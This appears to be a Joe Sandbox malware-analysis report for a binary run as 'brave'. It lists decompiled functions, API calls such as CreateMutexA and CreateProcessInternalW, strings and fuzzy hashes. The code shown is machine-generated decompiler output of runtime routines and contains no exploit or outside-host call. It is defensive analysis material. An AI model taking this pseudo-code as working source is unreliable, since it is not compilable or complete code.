synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNEL32 ref: 00007FF755E96F81
WaitForSingleObject.KERNEL32 ref: 00007FF755E96F92
FindAtomA.KERNEL32 ref: 00007FF755E96FFF
ReleaseMutex.KERNEL32 ref: 00007FF755E9700D
CloseHandle.KERNEL32 ref: 00007FF755E97016
CloseHandle.KERNEL32 ref: 00007FF755E97037

Strings

failed to to lock cleanup mutex, xrefs: 00007FF755E97028
DiAjAaAa__shmem3_winpthreads_tdm_, xrefs: 00007FF755E96F7A
__shmem3_winpthreads_tdm_-aaaaaaaaaaaaaaaaaaAAAAAAAAAAAaAAAaAaAaAAaaaaAaAaaaaaAaAaaaaaaaaa, xrefs: 00007FF755E96FF8

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: CloseHandleMutex$AtomCreateFindObjectReleaseSingleWait
String ID: DiAjAaAa__shmem3_winpthreads_tdm_$__shmem3_winpthreads_tdm_-aaaaaaaaaaaaaaaaaaAAAAAAAAAAAaAAAaAaAaAAaaaaAaAaaaaaAaAaaaaaaaaa$failed to to lock cleanup mutex
API String ID: 3776795807-289263284
Opcode ID: f862491ff4c3ba5945405b97c927dcecf34c299a1984f3d4105c76ec3890af5a
Instruction ID: 1fa171308475f7142a9bba1c1a318e93f39f19cb78f32ebadcc5dea8801ec3f1
Opcode Fuzzy Hash: f862491ff4c3ba5945405b97c927dcecf34c299a1984f3d4105c76ec3890af5a
Instruction Fuzzy Hash: 11212C65E09A5681EE54BF51E955179A2A1BF45FCABCC9436C80E4F390FF3CE885C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E92D40 Relevance: 16.7, APIs: 11, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E00007FF77FF755E92D40(void* __ecx, void* __rdx) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* __r12;
				void* _t6;
				void* _t9;
				void* _t10;
				void* _t11;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t22;
				void* _t26;
				intOrPtr* _t27;
				void* _t28;
				void* _t30;
				void* _t31;
				void* _t32;

				_t27 =  *0x56136920; // 0x7ff756141400
				_t18 =  *_t27;
				if (_t18 == 0) goto 0x55e92f30;
				if ( *((long long*)(_t18 + 0x28)) != 0) goto 0x55e92f18;
				 *((long long*)(_t18 + 0x28)) = 0x561413c8;
				if ( *0x561413c8 == 1) goto 0x55e92f25;
				E00007FF77FF755E92350(_t9, _t10, _t11,  *0x561413c8 - 1, _t18, _t22, 0x561413c8, _t26, _t27, _t28, _t30, _t31, _t32);
				_t19 =  *_t27;
				if (_t19 == 0) goto 0x55e92dc0;
				if ( *((long long*)(_t19 + 0x30)) != 0) goto 0x55e92de0;
				 *((long long*)(_t19 + 0x30)) = 0x56132bd8;
				_t6 = TlsGetValue(??);
				if (0x56132bd8 == 0) goto 0x55e92df4;
				return _t6;
			}

0x7ff755e92d4a
0x7ff755e92d51
0x7ff755e92d57
0x7ff755e92d62
0x7ff755e92d72
0x7ff755e92d76
0x7ff755e92d7c
0x7ff755e92d81
0x7ff755e92d87
0x7ff755e92d8e
0x7ff755e92d97
0x7ff755e92da0
0x7ff755e92dac
0x7ff755e92dbb

APIs

TlsGetValue.KERNEL32 ref: 00007FF755E92DA0

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 7a2b5f52572ddb7f3fab963f5045169fe13579b7e3dcc0f1855f9a6abb98b3e6
Instruction ID: 3ac17a8b3d64b64045c562ae054cc649bdc4ecf23e70625c5adecb7de29b3495
Opcode Fuzzy Hash: 7a2b5f52572ddb7f3fab963f5045169fe13579b7e3dcc0f1855f9a6abb98b3e6
Instruction Fuzzy Hash: 96711D76A0AB1685EF60AF55E950379A6B0FB44F99F884235CA5D0B394EF3CE484C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E84090 Relevance: 13.6, APIs: 4, Strings: 5, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF755E840C1
wcslen.MSVCRT ref: 00007FF755E84117

Part of subcall function 00007FF755EADEF0: memcpy.MSVCRT ref: 00007FF755EADF96
Part of subcall function 00007FF755EADEF0: memcpy.MSVCRT ref: 00007FF755EADFC1

wcslen.MSVCRT ref: 00007FF755E841B7
memcpy.MSVCRT ref: 00007FF755E842E6

Strings

@, xrefs: 00007FF755E8426B
basic_string::_M_construct null not valid, xrefs: 00007FF755E84300
\??\, xrefs: 00007FF755E84110, 00007FF755E84129
, xrefs: 00007FF755E841CE
0, xrefs: 00007FF755E84260

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: memcpywcslen
String ID: $0$@$\??\$basic_string::_M_construct null not valid
API String ID: 982415701-2971582370
Opcode ID: b5d247323698149d340c130ac0e6dd9a73dea5bbab17d57a17569d1199411ecf
Instruction ID: bc31360d2beffd8fa69b462643d666f28f397335926cd4687f1526accaccc1e1
Opcode Fuzzy Hash: b5d247323698149d340c130ac0e6dd9a73dea5bbab17d57a17569d1199411ecf
Instruction Fuzzy Hash: 56612536608BD185E670DB15F5543ABB7A0FBC4B98F888225DA8D4BB99DF7CD008CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E90230 Relevance: 12.1, APIs: 8, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00007FF77FF755E90230(intOrPtr* __rax, void* __rcx) {
				void* _t5;
				intOrPtr _t6;
				intOrPtr* _t11;
				intOrPtr _t13;

				_t11 = __rax;
				_t13 =  *((intOrPtr*)(__rcx + 0x10));
				if (_t13 == 0) goto 0x55e90288;
				_t6 =  *0x56141370; // 0x1
				_t5 = E00007FF77FF755E95260(_t6, __rax);
				if (_t11 == 0) goto 0x55e902c8;
				if ( *_t11 - _t13 < 0) goto 0x55e90370;
				if ( *((intOrPtr*)(_t11 + 8 + (_t13 - 1) * 8)) == 0) goto 0x55e90310;
				return _t5;
			}

0x7ff755e90230
0x7ff755e9023a
0x7ff755e90244
0x7ff755e90246
0x7ff755e9024c
0x7ff755e90257
0x7ff755e9025f
0x7ff755e90271
0x7ff755e90284

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1187da6e171b2e77c5614d760d31e22034ad26bdc6425de355795f4ea1b5fa90
Instruction ID: 9f248ef841ab89586b087e37f30c462577005e509fd23a5d460cc3fa37e8df17
Opcode Fuzzy Hash: 1187da6e171b2e77c5614d760d31e22034ad26bdc6425de355795f4ea1b5fa90
Instruction Fuzzy Hash: 5651736AA09A5681EE16FF15EA445B8A3B4AF54F88FDC8535E90D0B391EE3CF541C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E839D0 Relevance: 12.1, APIs: 3, Strings: 5, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF755E83A58

Part of subcall function 00007FF755EADEF0: memcpy.MSVCRT ref: 00007FF755EADF96
Part of subcall function 00007FF755EADEF0: memcpy.MSVCRT ref: 00007FF755EADFC1

wcslen.MSVCRT ref: 00007FF755E83AE6
memcpy.MSVCRT ref: 00007FF755E83BFE

Strings

@, xrefs: 00007FF755E83B55
basic_string::_M_construct null not valid, xrefs: 00007FF755E83C18
\??\, xrefs: 00007FF755E83A51, 00007FF755E83A6A
0, xrefs: 00007FF755E83B4A
, xrefs: 00007FF755E83AEB

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: memcpy$wcslen
String ID: $0$@$\??\$basic_string::_M_construct null not valid
API String ID: 1844840824-2971582370
Opcode ID: ee05ecdc9710429fa0aab71fa4d1ecee077df793fd946b12f4536450c2e0f0d3
Instruction ID: 8b0ae32c6aab58e37d63e20bdea384d11aa34ce2859219bba17a10c798c0d1f3
Opcode Fuzzy Hash: ee05ecdc9710429fa0aab71fa4d1ecee077df793fd946b12f4536450c2e0f0d3
Instruction Fuzzy Hash: ED516036608BD581E764EB15E9503AAF3A0FBC8B98F988135EA8D47B95DF7CD404CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E83CD0 Relevance: 12.1, APIs: 4, Strings: 4, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF755E83D01
wcslen.MSVCRT ref: 00007FF755E83D57

Part of subcall function 00007FF755EADEF0: memcpy.MSVCRT ref: 00007FF755EADF96
Part of subcall function 00007FF755EADEF0: memcpy.MSVCRT ref: 00007FF755EADFC1

wcslen.MSVCRT ref: 00007FF755E83DF7
memcpy.MSVCRT ref: 00007FF755E83F26

Strings

basic_string::_M_construct null not valid, xrefs: 00007FF755E83F40
\??\, xrefs: 00007FF755E83D50, 00007FF755E83D69
0, xrefs: 00007FF755E83EA0
@, xrefs: 00007FF755E83EAB

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: memcpywcslen
String ID: 0$@$\??\$basic_string::_M_construct null not valid
API String ID: 982415701-2209788446
Opcode ID: 94939aa4065493588ff229156f05ba003bfbe37133c0b9f2618c22385aa06220
Instruction ID: 285ca29a27918272e25f513ef2ac9db7458c15004f6582bb77396a1dc9a483d2
Opcode Fuzzy Hash: 94939aa4065493588ff229156f05ba003bfbe37133c0b9f2618c22385aa06220
Instruction Fuzzy Hash: 18613936608BD585E7709B15E9503ABF7A0FBC8B88F984225DA8C4BB99DF7CC404CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E828A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E00007FF77FF755E828A0(void* __ecx, void* __edi, void* __esp, void* __rax, void* __rdx, long long __r8, long long __r9, intOrPtr _a4, long long _a12, long long _a20, long long _a28, long long _a36, long long _a44, long long _a60, long long _a64, long long _a68, long long _a76, long long _a84, char _a100, void* _a112, char _a224, char _a65824, long long _a65832) {
				long long _v4;
				long long _v12;
				void* _t32;
				void* _t33;
				intOrPtr* _t49;
				intOrPtr* _t50;

				E00007FF77FF755E8F680(0x10108);
				_a65824 = __r8;
				r8d = 0xfffe;
				_t33 = __ecx;
				_a65832 = __r9;
				memset(??, ??, ??);
				_a64 =  &_a65824;
				E00007FF77FF755E9A220(__ecx,  &_a224, __rdx, __rdx,  &_a65824);
				r9d = 0;
				memset(__edi, 0, 0xd << 0);
				_a36 =  &_a68;
				_a28 =  &_a100;
				_t49 =  *0x56136640; // 0x7ff756141078
				_a44 =  &_a60;
				_a100 = 0x68;
				_a68 = 0;
				_a76 = 0;
				_a84 = 0;
				_a60 = 0;
				_a20 = 0;
				_a12 = 0;
				_a4 = 0x8000000;
				_v4 = 0;
				_v12 = 0;
				 *_t49(); // executed
				if (_t33 == 0) goto 0x55e829b7;
				_t50 =  *0x56136660; // 0x7ff756141058
				_t32 =  *_t50();
				E00007FF77FF755E84D0D();
				return _t32;
			}

0x7ff755e828aa
0x7ff755e828bd
0x7ff755e828c7
0x7ff755e828cd
0x7ff755e828d2
0x7ff755e828da
0x7ff755e828fa
0x7ff755e828ff
0x7ff755e8290b
0x7ff755e8290e
0x7ff755e8291e
0x7ff755e8292b
0x7ff755e82930
0x7ff755e82937
0x7ff755e8293e
0x7ff755e82949
0x7ff755e82952
0x7ff755e8295b
0x7ff755e82967
0x7ff755e82970
0x7ff755e82979
0x7ff755e82982
0x7ff755e8298a
0x7ff755e82992
0x7ff755e8299b
0x7ff755e829a4
0x7ff755e829a6
0x7ff755e829b5
0x7ff755e829ba
0x7ff755e829cc

APIs

memset.MSVCRT ref: 00007FF755E828DA
CreateProcessInternalW.KERNELBASE ref: 00007FF755E8299B

Strings

h, xrefs: 00007FF755E8293E

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: CreateInternalProcessmemset
String ID: h
API String ID: 101748716-2439710439
Opcode ID: f7d899a7f5cd1f8d80b8283f1cd465d5e67c1af32a4d658f7ff7f1fd2331c44a
Instruction ID: c5ddfddee783d815525278c6f8a5ed8bd953db8073c40051092eea731f21cc44
Opcode Fuzzy Hash: f7d899a7f5cd1f8d80b8283f1cd465d5e67c1af32a4d658f7ff7f1fd2331c44a
Instruction Fuzzy Hash: 5F215A32608B8092E7209B15F41479BB7A5F7C4B88F944135EACC4BBA8CF7DC185CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E94030 Relevance: 3.7, APIs: 2, Instructions: 652
COMMON

Download Yara Rule

C-Code - Quality: 21%

			E00007FF77FF755E94030(signed int* __rcx, long long __rdx, void* __r8) {
				intOrPtr _t96;
				signed int _t104;
				signed int _t110;
				signed int _t111;
				long long _t134;
				intOrPtr _t184;
				intOrPtr _t185;
				intOrPtr _t187;
				intOrPtr _t188;
				intOrPtr _t189;
				intOrPtr _t190;
				intOrPtr _t192;
				intOrPtr _t193;
				intOrPtr _t195;
				intOrPtr _t196;
				intOrPtr _t197;
				intOrPtr _t199;
				intOrPtr _t200;
				intOrPtr _t201;
				intOrPtr _t203;
				intOrPtr _t205;
				intOrPtr _t206;
				intOrPtr _t208;
				intOrPtr _t210;
				signed long long _t228;
				signed long long _t230;
				signed int* _t250;
				intOrPtr* _t251;
				long long _t252;
				long long _t259;
				signed int _t263;

				_t250 = __rcx;
				_t252 = __rdx;
				if (__rcx == 0) goto 0x55e945f0;
				_t251 =  *0x56136920; // 0x7ff756141400
				_t184 =  *_t251;
				if (_t184 == 0) goto 0x55e942f8;
				if ( *((long long*)(_t184 + 0x38)) != 0) goto 0x55e94318;
				 *((long long*)(_t184 + 0x38)) = 0x56132bd0;
				E00007FF77FF755E984D0(0x56132bd0);
				_t185 =  *_t251;
				if (_t185 == 0) goto 0x55e9432d;
				if ( *((long long*)(_t185 + 0x48)) == 0) goto 0x55e94458;
				_t96 =  *((intOrPtr*)( *((intOrPtr*)(_t185 + 0x48))));
				goto 0x55e940e5;
				_t228 =  *((intOrPtr*)( *_t251 + 0x40));
				_t187 =  *_t251;
				if (_t96 -  *_t228 >= 0) goto 0x55e94100;
				if ( *((long long*)(_t187 + 0x10)) == 0) goto 0x55e94358;
				if ( *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t187 + 0x10)))) + _t228 * 8)) == 0) goto 0x55e94470;
				if (_t187 == 0) goto 0x55e94370;
				if ( *((long long*)(_t187 + 0x40)) != 0) goto 0x55e940b0;
				 *((long long*)(_t187 + 0x40)) = 0x561413c4;
				if (_t96 + 1 -  *0x561413c4 < 0) goto 0x55e940bb;
				goto 0x55e9414d;
				asm("o16 nop [eax+eax]");
				_t230 =  *((intOrPtr*)(_t187 + 0x48));
				_t188 =  *_t251;
				if (0 -  *_t230 >= 0) goto 0x55e94168;
				if ( *((long long*)(_t188 + 0x10)) == 0) goto 0x55e943d8;
				_t263 = _t230 * 8;
				if ( *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t188 + 0x10)))) + _t230 * 8)) == 0) goto 0x55e944d0;
				if (_t188 == 0) goto 0x55e943f0;
				if ( *((long long*)(_t188 + 0x48)) != 0) goto 0x55e94118;
				 *((long long*)(_t188 + 0x48)) = 0x561413c0;
				if (1 -  *0x561413c0 < 0) goto 0x55e94123;
				if (_t188 == 0) goto 0x55e94765;
				if ( *((long long*)(_t188 + 0x40)) == 0) goto 0x55e945b0;
				_t189 =  *_t251;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t188 + 0x40)))) == 0x100000) goto 0x55e945cb;
				if (_t189 == 0) goto 0x55e947ee;
				_t134 =  *((long long*)(_t189 + 0x40));
				if (_t134 == 0) goto 0x55e94608;
				_t190 =  *_t251;
				if (_t134 != 0) goto 0x55e941cb;
				if ( *((long long*)(_t190 + 0x40)) != 0) goto 0x55e947e5;
				 *((long long*)(_t190 + 0x40)) = 0x561413c4;
				_t104 =  >  ? 0x100000 :  *0x561413c4 + 1;
				if (_t190 == 0) goto 0x55e94997;
				if ( *((long long*)(_t190 + 0x10)) == 0) goto 0x55e946d0;
				realloc(??, ??);
				_t259 =  *((intOrPtr*)(_t190 + 0x10));
				_t192 =  *_t251;
				if (_t259 == 0) goto 0x55e94b52;
				if (_t192 == 0) goto 0x55e949d5;
				if ( *((long long*)(_t192 + 0x40)) == 0) goto 0x55e946b8;
				_t193 =  *_t251;
				r8d = _t104;
				r8d = r8d -  *((intOrPtr*)( *((intOrPtr*)(_t192 + 0x40))));
				if ( *(_t193 + 0x40) == 0) goto 0x55e946a0;
				memset(??, ??, ??);
				_t195 =  *_t251;
				if (_t195 == 0) goto 0x55e94971;
				if ( *((long long*)(_t195 + 0x10)) == 0) goto 0x55e94680;
				_t196 =  *_t251;
				 *((long long*)( *((intOrPtr*)(_t195 + 0x10)))) = _t259;
				if (_t196 == 0) goto 0x55e94852;
				if ( *((long long*)(_t196 + 0x40)) == 0) goto 0x55e94670;
				_t197 =  *_t251;
				r12d =  *((intOrPtr*)( *((intOrPtr*)(_t196 + 0x40))));
				if ( *((long long*)(_t197 + 0x48)) == 0) goto 0x55e94660;
				r12d = r12d + 1;
				 *((intOrPtr*)( *((intOrPtr*)(_t197 + 0x48)))) = r12d;
				if ( *(_t197 + 0x40) == 0) goto 0x55e94650;
				_t110 =  *( *(_t197 + 0x40));
				 *__rcx = _t110;
				if ( *(_t197 + 0x40) == 0) goto 0x55e94640;
				 *( *(_t197 + 0x40)) = _t104;
				if (__rdx == 0) goto 0x55e9473d;
				if ( *((long long*)(_t197 + 0x10)) == 0) goto 0x55e94708;
				 *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t197 + 0x10)))) + (_t259 +  *(_t193 + 0x40) * 8) * 8)) = __rdx;
				goto 0x55e944f6;
				E00007FF77FF755E97060(); // executed
				if ( *((long long*)(_t197 + 0x38)) == 0) goto 0x55e9406b;
				if ( *_t251 != 0) goto 0x55e94318;
				E00007FF77FF755E97060();
				E00007FF77FF755E984D0( *((intOrPtr*)( *_t251 + 0x38)));
				_t199 =  *_t251;
				if (_t199 != 0) goto 0x55e94087;
				E00007FF77FF755E97060();
				_t200 =  *_t251;
				if ( *((long long*)(_t199 + 0x48)) == 0) goto 0x55e94458;
				if (_t200 != 0) goto 0x55e94092;
				E00007FF77FF755E97060();
				goto 0x55e94092;
				 *((long long*)(_t200 + 0x10)) = _t259;
				goto 0x55e940ca;
				E00007FF77FF755E97060();
				_t201 =  *_t251;
				if ( *((long long*)(_t200 + 0x40)) == 0) goto 0x55e940f5;
				if (_t201 != 0) goto 0x55e940b0;
				E00007FF77FF755E97060();
				if ( *((intOrPtr*)( *((intOrPtr*)(_t201 + 0x40)))) - _t104 <= 0) goto 0x55e94b5d;
				_t203 =  *_t251;
				if (_t203 != 0) goto 0x55e940bb;
				E00007FF77FF755E97060();
				if ( *((long long*)(_t203 + 0x10)) == 0) goto 0x55e94358;
				if ( *_t251 != 0) goto 0x55e940c6;
				E00007FF77FF755E97060();
				_t205 =  *_t251;
				goto 0x55e940ca;
				 *((long long*)(_t205 + 0x10)) = _t259;
				goto 0x55e94132;
				E00007FF77FF755E97060();
				_t206 =  *_t251;
				if ( *((long long*)(_t205 + 0x48)) == 0) goto 0x55e9415d;
				if (_t206 != 0) goto 0x55e94118;
				E00007FF77FF755E97060();
				if ( *((intOrPtr*)( *((intOrPtr*)(_t206 + 0x48)))) - _t104 <= 0) goto 0x55e94b65;
				_t208 =  *_t251;
				if (_t208 != 0) goto 0x55e94123;
				E00007FF77FF755E97060();
				if ( *((long long*)(_t208 + 0x10)) == 0) goto 0x55e943d8;
				if ( *_t251 != 0) goto 0x55e9412e;
				E00007FF77FF755E97060();
				_t210 =  *_t251;
				goto 0x55e94132;
				 *((long long*)(_t210 + 0x48)) = 0x561413c0;
				goto 0x55e94099;
				 *_t250 = _t104;
				if (_t252 == 0) goto 0x55e94570;
				if (_t210 == 0) goto 0x55e94728;
				_t111 = _t110 & 0xffffff00 |  *((long long*)(_t210 + 0x10)) != 0x00000000;
				if (_t111 == 0) goto 0x55e9455c;
				if (_t210 == 0) goto 0x55e947cb;
				 *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t210 + 0x10)))) + _t263)) = _t252;
				if (_t210 == 0) goto 0x55e946f3;
				if ((_t111 & 0xffffff00 |  *((long long*)(_t210 + 0x38)) != 0x00000000) == 0) goto 0x55e9454f;
				if (_t210 != 0) goto 0x55e94502;
				E00007FF77FF755E97060();
				goto 0x55e94502;
				 *_t250 = _t104;
				if (_t252 == 0) goto 0x55e9451c;
				if (_t210 == 0) goto 0x55e94a4e;
				if ( *((long long*)(_t210 + 0x10)) == 0) goto 0x55e946e3;
				 *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t210 + 0x10)))) + _t263)) = _t252;
				if (_t210 == 0) goto 0x55e94539;
